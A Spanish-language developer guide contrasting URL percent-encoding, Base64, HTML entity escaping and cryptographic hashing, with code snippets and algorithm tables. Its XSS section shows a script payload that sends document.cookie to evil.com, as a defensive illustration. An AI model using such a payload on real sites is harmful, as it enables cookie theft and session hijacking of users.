Guía práctica: codificación, escape y hashing criptográfico

Diferencias clave entre codificación URL percent-encoding, Base64, escape HTML contra ataques XSS y algoritmos de hashing criptográfico unidireccionales.

Los ingenieros de software y desarrolladores web transforman datos continuamente: adecuan parámetros de consulta para peticiones HTTP, empaquetan gráficos binarios en JSON, sanean entradas de usuario contra inyecciones maliciosas y generan resúmenes criptográficos para contraseñas.

A pesar de su ubicuidad, existe confusión frecuente entre codificación (encoding), escape (escaping) y hashing. Confundir estos conceptos es una de las causas principales de vulnerabilidades críticas como Cross-Site Scripting (XSS), Inyecciones SQL y autenticación deficiente.

Puntos clave

  • Codificación (Reversible): Modifica el formato de representación de datos para un transporte seguro entre capas de red sin perder información (ej. Base64, URL percent-encoding).
  • Escape (Específico del contexto): Indica al analizador sintáctico que trate caracteres reservados como literales y no como código ejecutable (ej. entidades HTML, escape SQL).
  • Hashing (Unidireccional): Algoritmo matemático que convierte datos arbitrarios en una huella digital de longitud fija imposible de revertir matemáticamente (ej. SHA-256).
  • Nunca uses codificación como seguridad: Base64 es un esquema de codificación, no un cifrado; cualquiera puede decodificarlo al instante sin una clave.

1. Codificación URL por porcentaje (Percent-Encoding)

Los identificadores de recursos uniformes (URIs) están limitados a un subconjunto estricto de caracteres US-ASCII según la norma RFC 3986. Los caracteres fuera del conjunto no reservado (A-Z, a-z, 0-9, -, _, ., ~) deben expresarse mediante octetos con signo de porcentaje (%XX), donde XX representa el valor hexadecimal de dos dígitos del byte correspondiente.

Comparativa: encodeURI frente a encodeURIComponent

En JavaScript, la elección incorrecta genera errores habituales:

Característica encodeURI encodeURIComponent
Propósito previsto URLs completas con esquema, host y ruta Claves o valores individuales de cadenas de consulta
Escapa : / ? # & = + No (mantiene delimitadores de URL) Sí (los sustituye por %XX)
Ejemplo de uso encodeURI('https://site.com/search?q=a+b') encodeURIComponent('término & cia')
// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

Para codificar o decodificar parámetros durante integraciones de API, utiliza nuestro interactivo URL Encoder & Decoder.

2. Codificación Base64: datos binarios en flujos ASCII

Base64 (RFC 4648) representa datos binarios mediante una base 64 formada por 64 caracteres ASCII imprimibles: A–Z, a–z, 0–9, + y / (con = como relleno).

Cómo funciona la matemática

Los ordenadores gestionan bytes en bloques de 8 bits. Base64 agrupa los datos en bloques de 24 bits (3 bytes) y los divide en 4 fragmentos de 6 bits ($2^6 = 64$ combinaciones posibles).

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

Al generar 4 caracteres por cada 3 bytes de entrada, Base64 introduce un incremento inevitable del 33% en tamaño de almacenamiento y transferencia:

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

Base64 resulta adecuado para incrustar iconos en URIs de datos CSS o transmitir firmas digitales. Prueba nuestro Base64 Encoder / Decoder.

3. Escape de entidades HTML: mitigación de ataques XSS

El escape HTML reemplaza caracteres con significado sintáctico en HTML por sus entidades de texto correspondientes:

Carácter Significado literal en HTML Entidad escapada
< Apertura de etiqueta &lt;
> Cierre de etiqueta &gt;
& Prefijo de entidad &amp;
" Delimitador de atributo &quot;
' Delimitador de atributo &#39;

Sin este mecanismo, insertar entradas no validadas en el DOM permite ataques XSS:

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

Verifica tus salidas de plantilla con nuestro HTML Entity Encoder / Decoder.

4. Hashing criptográfico: el resumen unidireccional

A diferencia de la codificación, el hashing es estrictamente irreversible. Una función de hash criptográfico debe cumplir:

  1. Resistencia a preimagen: Dado un resumen $h$, debe ser computacionalmente inviable encontrar el mensaje $m$ tal que $H(m) = h$.
  2. Resistencia a segunda preimagen: Dado $m_1$, es inviable hallar $m_2$ donde $H(m_1) = H(m_2)$.
  3. Resistencia a colisiones: Es inviable hallar dos entradas cualesquiera $x \neq y$ donde $H(x) = H(y)$.
  4. Efecto avalancha: Alterar un solo bit en la entrada cambia drásticamente el hash resultante.

Comparativa de algoritmos

Algoritmo Longitud resumen Estado de colisión Idoneidad en producción
MD5 128 bits (32 hex) Roto (colisiones en segundos) Solo sumas de control heredadas
SHA-1 160 bits (40 hex) Roto (ataque SHAttered en 2017) Obsoleto; migrar a SHA-256
SHA-256 256 bits (64 hex) Seguro criptográficamente Estándar para TLS, Git y APIs
SHA-512 512 bits (128 hex) Seguro criptográficamente Entornos de alta seguridad y HMAC

Genera identificadores y contraseñas seguras con nuestro UUID Generator y Password Generator.

Resumen: ¿cuándo utilizar cada técnica?

  • Al enviar parámetros en una URL: Utiliza codificación porcentual (URL percent-encoding).
  • Al incrustar contenido binario en JSON o CSS: Emplea Base64.
  • Al mostrar texto no confiable en páginas web: Aplica escape HTML.
  • Al validar integridad de archivos: Usa hashing criptográfico.

Preguntas frecuentes

¿Se puede desencriptar Base64? Base64 no es un cifrado sino una codificación; cualquier herramienta estándar puede recuperar los bytes originales sin necesidad de claves.

¿Es seguro almacenar contraseñas únicamente con SHA-256? No. Las GPUs modernas calculan miles de millones de hashes SHA-256 por segundo. Las contraseñas deben procesarse con funciones lentas diseñadas específicamente como Argon2id o bcrypt.

¿Por qué los espacios en URLs se codifican a veces como %20 y otras como +? En rutas RFC 3986 el espacio se representa como %20. En formularios clásicos codificados como application/x-www-form-urlencoded, el espacio se sustituía por +.